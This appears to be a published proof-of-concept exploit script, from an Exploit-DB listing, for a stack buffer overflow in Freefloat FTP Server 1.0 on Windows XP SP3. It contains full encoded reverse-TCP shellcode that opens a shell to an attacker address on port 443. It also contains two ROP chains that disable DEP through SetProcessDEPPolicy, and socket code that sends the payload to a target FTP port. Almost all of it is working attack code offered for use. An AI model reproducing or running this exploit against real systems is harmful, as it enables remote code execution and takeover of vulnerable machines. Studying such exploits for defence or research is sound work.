Freefloat FTP Server 1.0 - DEP Bypass with ROP

#!usr/bin/python
# Exploit title: FreeFloat ftp 1.0 DEP bypass with ROP 
#
# Exploit Author: negux 
#
# POC: http://www.exploit-db.com/exploits/24479/
# Tested on : Windows XP SP 3 Spanish
import socket,struct

# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.117 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0b\x27\x36\xce\xc1\x04\x14\x3a\x44\xe0\x42\xa9\x0d'

shellcode = (
"\x6a\x4f\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb7" +
"\x2d\xad\xa3\x83\xeb\xfc\xe2\xf4\x4b\xc5\x24\xa3\xb7\x2d" +
"\xcd\x2a\x52\x1c\x7f\xc7\x3c\x7f\x9d\x28\xe5\x21\x26\xf1" +
"\xa3\xa6\xdf\x8b\xb8\x9a\xe7\x85\x86\xd2\x9c\x63\x1b\x11" +
"\xcc\xdf\xb5\x01\x8d\x62\x78\x20\xac\x64\x55\xdd\xff\xf4" +
"\x3c\x7f\xbd\x28\xf5\x11\xac\x73\x3c\x6d\xd5\x26\x77\x59" +
"\xe7\xa2\x67\x7d\x26\xeb\xaf\xa6\xf5\x83\xb6\xfe\x4e\x9f" +
"\xfe\xa6\x99\x28\xb6\xfb\x9c\x5c\x86\xed\x01\x62\x78\x20" +
"\xac\x64\x8f\xcd\xd8\x57\xb4\x50\x55\x98\xca\x09\xd8\x41" +
"\xef\xa6\xf5\x87\xb6\xfe\xcb\x28\xbb\x66\x26\xfb\xab\x2c" +
"\x7e\x28\xb3\xa6\xac\x73\x3e\x69\x89\x87\xec\x76\xcc\xfa" +
"\xed\x7c\x52\x43\xef\x72\xf7\x28\xa5\xc6\x2b\xfe\xdf\x1e" +
"\x9f\xa3\xb7\x45\xda\xd0\x85\x72\xf9\xcb\xfb\x5a\x8b\xa4" +
"\x48\xf8\x15\x33\xb6\x2d\xad\x8a\x73\x79\xfd\xcb\x9e\xad" +
"\xc6\xa3\x48\xf8\xfd\xf3\xe7\x7d\xed\xf3\xf7\x7d\xc5\x49" +
"\xb8\xf2\x4d\x5c\x62\xa4\x6a\xcb\x77\x85\xac\xd6\xdf\x2f" +
"\xad\xa2\x0c\xa4\x4b\xc9\xa7\x7b\xfa\xcb\x2e\x88\xd9\xc2" +
"\x48\xf8\xc5\xc0\xda\x49\xad\x2a\x54\x7a\xfa\xf4\x86\xdb" +
"\xc7\xb1\xee\x7b\x4f\x5e\xd1\xea\xe9\x87\x8b\x2c\xac\x2e" +
"\xf3\x09\xbd\x65\xb7\x69\xf9\xf3\xe1\x7b\xfb\xe5\xe1\x63" +
"\xfb\xf5\xe4\x7b\xc5\xda\x7b\x12\x2b\x5c\x62\xa4\x4d\xed" +
"\xe1\x6b\x52\x93\xdf\x25\x2a\xbe\xd7\xd2\x78\x18\x47\x98" +
"\x0f\xf5\xdf\x8b\x38\x1e\x2a\xd2\x78\x9f\xb1\x51\xa7\x23" +
"\x4c\xcd\xd8\xa6\x0c\x6a\xbe\xd1\xd8\x47\xad\xf0\x48\xf8" +
"\xad\xa3")

## ROP 

rop =  struct.pack("<I",0x77bf362c) # POP EBX / RET
rop += struct.pack("<I",0x41414141) # junk
rop += struct.pack("<I",0x41414141) # junk
rop += struct.pack("<I",0xFFFFFFFF) # 00000000
rop += struct.pack("<I",0x7e810b7e) # INC EBX / RET

rop += struct.pack("<I",0x77bebb36) # POP EBP / RET
rop += struct.pack("<I",0x7C862144) # SetProcessDEPPolicy

rop += struct.pack("<I",0x77bf3b47) # POP EDI / RET
rop += struct.pack("<I",0x77be1110) # RET
rop += struct.pack("<I",0x77bf1891) # POP ESI / RET
rop += struct.pack("<I",0x77be2091) # RET

rop += struct.pack("<I",0x7e6ea62b) # PUSHAD / RET

####

### Exploit-DB Note ROP for Windows SP3 English SP3
rop2 =  struct.pack("<I",0x7C9F880B) # POP EBX / RETN 7C9F880B
rop2 += struct.pack("<I",0x41414141) # junk
rop2 += struct.pack("<I",0x41414141) # junk
rop2 += struct.pack("<I",0xFFFFFFFF) # 00000000
rop2 += struct.pack("<I",0x77540FB2) # INC EBX / RETN 77540FB2
 
rop2 += struct.pack("<I",0x7C9FD315) # POP EBP / RETN 7C9FD315
rop2 += struct.pack("<I",0x7C862144) # SetProcessDEPPolicy
 
rop2 += struct.pack("<I",0x7C9FCEF2) # POP EDI / RETN 7C9FCEF2
rop2 += struct.pack("<I",0x7C9FCEF3) # RET 7C9FCEF3
rop2 += struct.pack("<I",0x7C9F9CA2) # POP ESI / RETN  7C9F9CA2
rop2 += struct.pack("<I",0x7C9FCEF3) # RETN
 
rop2 += struct.pack("<I",0x7E423AD9) # PUSHAD / RETN 7E423AD9
###


target = "192.168.1.71"
port = 21
junk = "\x41"*251
nops = "\x90"*100

exploit = junk + rop + nops + shellcode

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
	connect = sock.connect((target,port))
	sock.recv(1024)
	sock.send(exploit +"\r\n")
	sock.close()
except:
	print "Error to connect... "